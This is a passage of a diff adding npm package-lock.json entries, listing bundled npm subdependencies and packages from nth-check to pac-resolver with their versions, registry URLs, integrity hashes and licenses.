}, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/pinkie-promise": { + "version": "2.0.1", + "inBundle": true, + "license": "MIT", + "dependencies": { + "pinkie": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/har-validator/node_modules/pinkie-promise/node_modules/pinkie": { + "version": "2.0.4", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/hawk": { + "version": "3.1.3", + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "boom": "2.x.x", + "cryptiles": "2.x.x", + "hoek": "2.x.x", + "sntp": "1.x.x" + }, + "engines": { + "node": ">=0.10.32" + } + }, + "node_modules/npm/node_modules/request/node_modules/hawk/node_modules/boom": { + "version": "2.10.1", + "resolved": "https://registry.npmjs.org/boom/-/boom-2.10.1.tgz", + "integrity": "sha512-KbiZEa9/vofNcVJXGwdWWn25reQ3V3dHBWbS07FTF3/TOehLnm9GEhJV4T6ZvGPkShRpmUqYwnaCrkj0mRnP6Q==", + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "hoek": "2.x.x" + }, + "engines": { + "node": ">=0.10.40" + } + }, + "node_modules/npm/node_modules/request/node_modules/hawk/node_modules/cryptiles": { + "version": "2.0.5", + "inBundle": true, + "license": "BSD-3-Clause", + "dependencies": { + "boom": "2.x.x" + }, + "engines": { + "node": ">=0.10.40" + } + }, + "node_modules/npm/node_modules/request/node_modules/hawk/node_modules/hoek": { + "version": "2.16.3", + "resolved": "https://registry.npmjs.org/hoek/-/hoek-2.16.3.tgz", + "integrity": "sha512-V6Yw1rIcYV/4JsnggjBU0l4Kr+EXhpwqXRusENU1Xx6ro00IHPHYNynCuBTOZAPlr3AAmLvchH9I7N/VUdvOwQ==", + "inBundle": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.40" + } + }, + "node_modules/npm/node_modules/request/node_modules/hawk/node_modules/sntp": { + "version": "1.0.9", + "inBundle": true, + "dependencies": { + "hoek": "2.x.x" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature": { + "version": "1.1.1", + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^0.2.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + }, + "engines": { + "node": ">=0.8", + "npm": ">=1.3.7" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/assert-plus": { + "version": "0.2.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/jsprim": { + "version": "1.3.0", + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT", + "dependencies": { + "extsprintf": "1.0.2", + "json-schema": "0.2.2", + "verror": "1.3.6" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/jsprim/node_modules/extsprintf": { + "version": "1.0.2", + "engines": [ + "node >=0.6.0" + ], + "inBundle": true + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/jsprim/node_modules/json-schema": { + "version": "0.2.2", + "inBundle": true + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/jsprim/node_modules/verror": { + "version": "1.3.6", + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "dependencies": { + "extsprintf": "1.0.2" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk": { + "version": "1.9.2", + "inBundle": true, + "license": "MIT", + "dependencies": { + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "dashdash": "^1.12.0", + "getpass": "^0.1.1" + }, + "bin": { + "sshpk-conv": "bin/sshpk-conv", + "sshpk-sign": "bin/sshpk-sign", + "sshpk-verify": "bin/sshpk-verify" + }, + "engines": { + "node": ">=0.10.0" + }, + "optionalDependencies": { + "ecc-jsbn": "~0.1.1", + "jodid25519": "^1.0.0", + "jsbn": "~0.1.0", + "tweetnacl": "~0.13.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/asn1": { + "version": "0.2.3", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/dashdash": { + "version": "1.14.0", + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/ecc-jsbn": { + "version": "0.1.1", + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "jsbn": "~0.1.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/getpass": { + "version": "0.1.6", + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jodid25519": { + "version": "1.0.2", + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "jsbn": "~0.1.0" + } + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn": { + "version": "0.1.0", + "inBundle": true, + "license": "BSD", + "optional": true + }, + "node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/tweetnacl": { + "version": "0.13.3", + "inBundle": true, + "license": "Public domain", + "optional": true + }, + "node_modules/npm/node_modules/request/node_modules/is-typedarray": { + "version": "1.0.0", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/isstream": { + "version": "0.1.2", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/json-stringify-safe": { + "version": "5.0.1", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/request/node_modules/mime-types": { + "version": "2.1.11", + "inBundle": true, + "license": "MIT", + "dependencies": { + "mime-db": "~1.23.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/request/node_modules/mime-types/node_modules/mime-db": { + "version": "1.23.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/npm/node_modules/request/node_modules/node-uuid": { + "version": "1.4.7", + "inBundle": true, + "bin": { + "uuid": "bin/uuid" + } + }, + "node_modules/npm/node_modules/request/node_modules/oauth-sign": { + "version": "0.8.2", + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/request/node_modules/qs": { + "version": "6.2.1", + "inBundle": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/npm/node_modules/request/node_modules/stringstream": { + "version": "0.0.5", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/request/node_modules/tough-cookie": { + "version": "2.3.1", + "inBundle": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/npm/node_modules/request/node_modules/tunnel-agent": { + "version": "0.4.3", + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/retry": { + "version": "0.10.0", + "inBundle": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/rimraf": { + "version": "2.5.4", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.5.4.tgz", + "integrity": "sha512-Lw7SHMjssciQb/rRz7JyPIy9+bbUshEucPoLRvWqy09vC5zQixl8Uet+Zl+SROBB/JMWHJRdCk1qdxNWHNMvlQ==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.0.5" + }, + "bin": { + "rimraf": "bin.js" + } + }, + "node_modules/npm/node_modules/semver": { + "version": "5.1.0", + "inBundle": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/npm/node_modules/sha": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/sha/-/sha-2.0.1.tgz", + "integrity": "sha512-Lj/GiNro+/4IIvhDvTo2HDqTmQkbqgg/O3lbkM5lMgagriGPpWamxtq1KJPx7mCvyF1/HG6Hs7zaYaj4xpfXbA==", + "inBundle": true, + "license": "(BSD-2-Clause OR MIT)", + "dependencies": { + "graceful-fs": "^4.1.2", + "readable-stream": "^2.0.2" + } + }, + "node_modules/npm/node_modules/sha/node_modules/readable-stream": { + "version": "2.0.2", + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "process-nextick-args": "~1.0.0", + "string_decoder": "~0.10.x", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/sha/node_modules/readable-stream/node_modules/core-util-is": { + "version": "1.0.1", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/sha/node_modules/readable-stream/node_modules/isarray": { + "version": "0.0.1", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/sha/node_modules/readable-stream/node_modules/process-nextick-args": { + "version": "1.0.3", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/sha/node_modules/readable-stream/node_modules/string_decoder": { + "version": "0.10.31", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/sha/node_modules/readable-stream/node_modules/util-deprecate": { + "version": "1.0.1", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/slide": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/slide/-/slide-1.1.6.tgz", + "integrity": "sha512-NwrtjCg+lZoqhFU8fOwl4ay2ei8PaqCBOUV3/ektPY9trO1yQ1oXEfmHAhKArUVUr/hOHvy5f6AdP17dCM0zMw==", + "inBundle": true, + "license": "ISC", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/sorted-object": { + "version": "2.0.0", + "inBundle": true, + "license": "WTFPL" + }, + "node_modules/npm/node_modules/spdx-license-ids": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-1.2.2.tgz", + "integrity": "sha512-qIBFhkh6ILCWNeWEe3ODFPKDYhPJrZpqdNCI2Z+w9lNdH5hoVEkfRLLbRfoIi8fb4xRYmpEOaaMH4G2pwYp/iQ==", + "inBundle": true, + "license": "Unlicense" + }, + "node_modules/npm/node_modules/strip-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", + "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==", + "inBundle": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/tar": { + "version": "2.2.1", + "inBundle": true, + "license": "ISC", + "dependencies": { + "block-stream": "*", + "fstream": "^1.0.2", + "inherits": "2" + } + }, + "node_modules/npm/node_modules/text-table": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz", + "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/uid-number": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/uid-number/-/uid-number-0.0.6.tgz", + "integrity": "sha512-c461FXIljswCuscZn67xq9PpszkPT6RjheWFQTgCyabJrTUozElanb0YEqv2UGgk247YpcJkFBuSGNvBlpXM9w==", + "inBundle": true, + "license": "ISC", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/umask": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/umask/-/umask-1.1.0.tgz", + "integrity": "sha512-lE/rxOhmiScJu9L6RTNVgB/zZbF+vGC0/p6D3xnkAePI2o0sMyFG966iR5Ki50OI/0mNi2yaRnxfLsPmEZF/JA==", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/validate-npm-package-license": { + "version": "3.0.1", + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-correct": "~1.0.0", + "spdx-expression-parse": "~1.0.0" + } + }, + "node_modules/npm/node_modules/validate-npm-package-license/node_modules/spdx-correct": { + "version": "1.0.2", + "inBundle": true, + "license": "Apache-2.0", + "dependencies": { + "spdx-license-ids": "^1.0.2" + } + }, + "node_modules/npm/node_modules/validate-npm-package-license/node_modules/spdx-expression-parse": { + "version": "1.0.2", + "inBundle": true, + "license": "(MIT AND CC-BY-3.0)", + "dependencies": { + "spdx-exceptions": "^1.0.4", + "spdx-license-ids": "^1.0.0" + } + }, + "node_modules/npm/node_modules/validate-npm-package-license/node_modules/spdx-expression-parse/node_modules/spdx-exceptions": { + "version": "1.0.4", + "inBundle": true, + "license": "CC-BY-3.0" + }, + "node_modules/npm/node_modules/validate-npm-package-name": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/validate-npm-package-name/-/validate-npm-package-name-2.2.2.tgz", + "integrity": "sha512-zt38kWHt0j/tv8ZKqZB5lEVT3A41JarczU/ib7L+OXZFAjC2l9kPeujQI1m4smU1nmSwF06MqEetltqVkDmnuQ==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "builtins": "0.0.7" + } + }, + "node_modules/npm/node_modules/validate-npm-package-name/node_modules/builtins": { + "version": "0.0.7", + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/which": { + "version": "1.2.11", + "inBundle": true, + "license": "ISC", + "dependencies": { + "isexe": "^1.1.1" + }, + "bin": { + "which": "bin/which" + } + }, + "node_modules/npm/node_modules/which/node_modules/isexe": { + "version": "1.1.2", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/write-file-atomic": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-1.1.4.tgz", + "integrity": "sha512-c5qespPIeoD/YQTLgdOTe9mcjhK0MhK/URjnIlpuF+4Hoec1flfMRcZY+SWrqGHHRC1oGY1VyNC44wiLQgJMiw==", + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2", + "imurmurhash": "^0.1.4", + "slide": "^1.1.5" + } + }, + "node_modules/npmlog": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-1.2.1.tgz", + "integrity": "sha512-1J5KqSRvESP6XbjPaXt2H6qDzgizLTM7x0y1cXIjP2PpvdCqyNC7TO3cPRKsuYlElbi/DwkzRRdG2zpmE0IktQ==", + "dependencies": { + "ansi": "~0.3.0", + "are-we-there-yet": "~1.0.0", + "gauge": "~1.2.0" + } + }, + "node_modules/nssocket": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/nssocket/-/nssocket-0.6.0.tgz", + "integrity": "sha512-a9GSOIql5IqgWJR3F/JXG4KpJTA3Z53Cj0MeMvGpglytB1nxE4PdFNC0jINe27CS7cGivoynwc054EzCcT3M3w==", + "dependencies": { + "eventemitter2": "~0.4.14", + "lazy": "~1.0.11" + }, + "engines": { + "node": ">= 0.10.x" + } + }, + "node_modules/nssocket/node_modules/eventemitter2": { + "version": "0.4.14", + "resolved": "https://registry.npmjs.org/eventemitter2/-/eventemitter2-0.4.14.tgz", + "integrity": "sha512-K7J4xq5xAD5jHsGM5ReWXRTFa3JRGofHiMcVgQ8PRwgWxzjHpMWCIzsmyf60+mh8KLsqYPcjUMa0AC4hd6lPyQ==" + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/nwsapi": { + "version": "2.2.7", + "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz", + "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==" + }, + "node_modules/oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==", + "engines": { + "node": "*" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.12.3", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", + "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-is": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.5.tgz", + "integrity": "sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object-query-string": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/object-query-string/-/object-query-string-1.2.0.tgz", + "integrity": "sha512-alZUa1gg88HYP/cd1Cah+mjRUuh+6wy6uMRn7X8S9Dt7KFu/DwHjY7sI9m+2E2y3XU1Wv9YJKfZ3rCVL3RGBmA==" + }, + "node_modules/ogg-opus-decoder": { + "version": "1.6.5", + "resolved": "https://registry.npmjs.org/ogg-opus-decoder/-/ogg-opus-decoder-1.6.5.tgz", + "integrity": "sha512-7NjCePv+XAcfsPdVhVjrKdrKc2BUAxhzkSY9ySOv3FSgqymu1J90J7vQRtSd2DoStFASznmJr5LB9j/EXrJZfQ==", + "dependencies": { + "@wasm-audio-decoders/common": "9.0.1", + "codec-parser": "2.4.3", + "opus-decoder": "0.7.1" + }, + "funding": { + "type": "individual", + "url": "https://github.com/sponsors/eshaz" + } + }, + "node_modules/omggif": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/omggif/-/omggif-1.0.10.tgz", + "integrity": "sha512-LMJTtvgc/nugXj0Vcrrs68Mn2D1r0zf630VNtqtpI1FEO7e+O9FP4gqs9AcnBaSEeoHIPm28u6qgPR0oyEpGSw==" + }, + "node_modules/on-exit-leak-free": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/on-exit-leak-free/-/on-exit-leak-free-0.2.0.tgz", + "integrity": "sha512-dqaz3u44QbRXQooZLTUKU41ZrzYrcvLISVgbrzbyCMxpmSLJvZ3ZamIJIZ29P6OhZIkNIQKosdeM6t1LYbA9hg==" + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/openai": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/openai/-/openai-3.3.0.tgz", + "integrity": "sha512-uqxI/Au+aPRnsaQRe8CojU0eCR7I0mBiKjD3sNMzY6DaC1ZVrc85u98mtJW6voDug8fgGN+DIZmTDxTthxb7dQ==", + "dependencies": { + "axios": "^0.26.0", + "form-data": "^4.0.0" + } + }, + "node_modules/openai/node_modules/axios": { + "version": "0.26.1", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.26.1.tgz", + "integrity": "sha512-fPwcX4EvnSHuInCMItEhAGnaSEXRBjtzh9fOtsE6E1G6p7vl7edEeZe11QHf18+6+9gR5PbKV/sGKNaD8YaMeA==", + "dependencies": { + "follow-redirects": "^1.14.8" + } + }, + "node_modules/opencollective-postinstall": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/opencollective-postinstall/-/opencollective-postinstall-2.0.3.tgz", + "integrity": "sha512-8AV/sCtuzUeTo8gQK5qDZzARrulB3egtLzFgteqB2tcT4Mw7B8Kt7JcDHmltjz6FOAHsvTevk70gZEbhM4ZS9Q==", + "bin": { + "opencollective-postinstall": "index.js" + } + }, + "node_modules/optionator": { + "version": "0.8.3", + "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "dependencies": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/opus-decoder": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/opus-decoder/-/opus-decoder-0.7.1.tgz", + "integrity": "sha512-AOFCMKLn7LJm8pOkksY5TsW/6+XmNyh1OQS9gxmdOGHLNYoOBrjSfc0nPNcmUMGEzOrTqZtPi8VJ/ABs2Hndvg==", + "dependencies": { + "@wasm-audio-decoders/common": "9.0.1" + }, + "funding": { + "type": "individual", + "url": "https://github.com/sponsors/eshaz" + } + }, + "node_modules/ora": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/ora/-/ora-4.1.1.tgz", + "integrity": "sha512-sjYP8QyVWBpBZWD6Vr1M/KwknSw6kJOz41tvGMlwWeClHBtYKTbHMki1PsLZnxKpXMPbTKv9b3pjQu3REib96A==", + "dependencies": { + "chalk": "^3.0.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.2.0", + "is-interactive": "^1.0.0", + "log-symbols": "^3.0.0", + "mute-stream": "0.0.8", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/os": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/os/-/os-0.1.2.tgz", + "integrity": "sha512-ZoXJkvAnljwvc56MbvhtKVWmSkzV712k42Is2mA0+0KTSRakq5XXuXpjZjgAt9ctzl51ojhQWakQQpmOvXWfjQ==" + }, + "node_modules/p-cancelable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", + "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-try": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", + "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/pac-proxy-agent": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-7.0.1.tgz", + "integrity": "sha512-ASV8yU4LLKBAjqIPMbrgtaKIvxQri/yh2OpI+S6hVa9JRkUI3Y3NPFbfngDtY7oFtSMD3w31Xns89mDa3Feo5A==", + "dependencies": { + "@tootallnate/quickjs-emscripten": "^0.23.0", + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "get-uri": "^6.0.1", + "http-proxy-agent": "^7.0.0", + "https-proxy-agent": "^7.0.2", + "pac-resolver": "^7.0.0", + "socks-proxy-agent": "^8.0.2" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pac-proxy-agent/node_modules/agent-base": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-7.1.0.tgz", + "integrity": "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg==", + "dependencies": { + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pac-proxy-agent/node_modules/http-proxy-agent": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-7.0.0.tgz", + "integrity": "sha512-+ZT+iBxVUQ1asugqnD6oWoRiS25AkjNfG085dKJGtGxkdwLQrMKU5wJr2bOOFAXzKcTuqq+7fZlTMgG3SRfIYQ==", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pac-proxy-agent/node_modules/https-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-7.0.2.tgz", + "integrity": "sha512-NmLNjm6ucYwtcUmL7JQC1ZQ57LmHP4lT15FQ8D61nak1rO6DH+fz5qNK2Ap5UN4ZapYICE3/0KodcLYSPsPbaA==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pac-proxy-agent/node_modules/socks-proxy-agent": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-8.0.2.tgz", + "integrity": "sha512-8zuqoLv1aP/66PHF5TqwJ7Czm3Yv32urJQHrVyhD7mmA6d61Zv8cIXQYPTWwmg6qlupnPvs/QKDmfa4P/qct2g==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "^4.3.4", + "socks": "^2.7.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/pac-resolver": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-7.0.0.tgz", + "integrity": 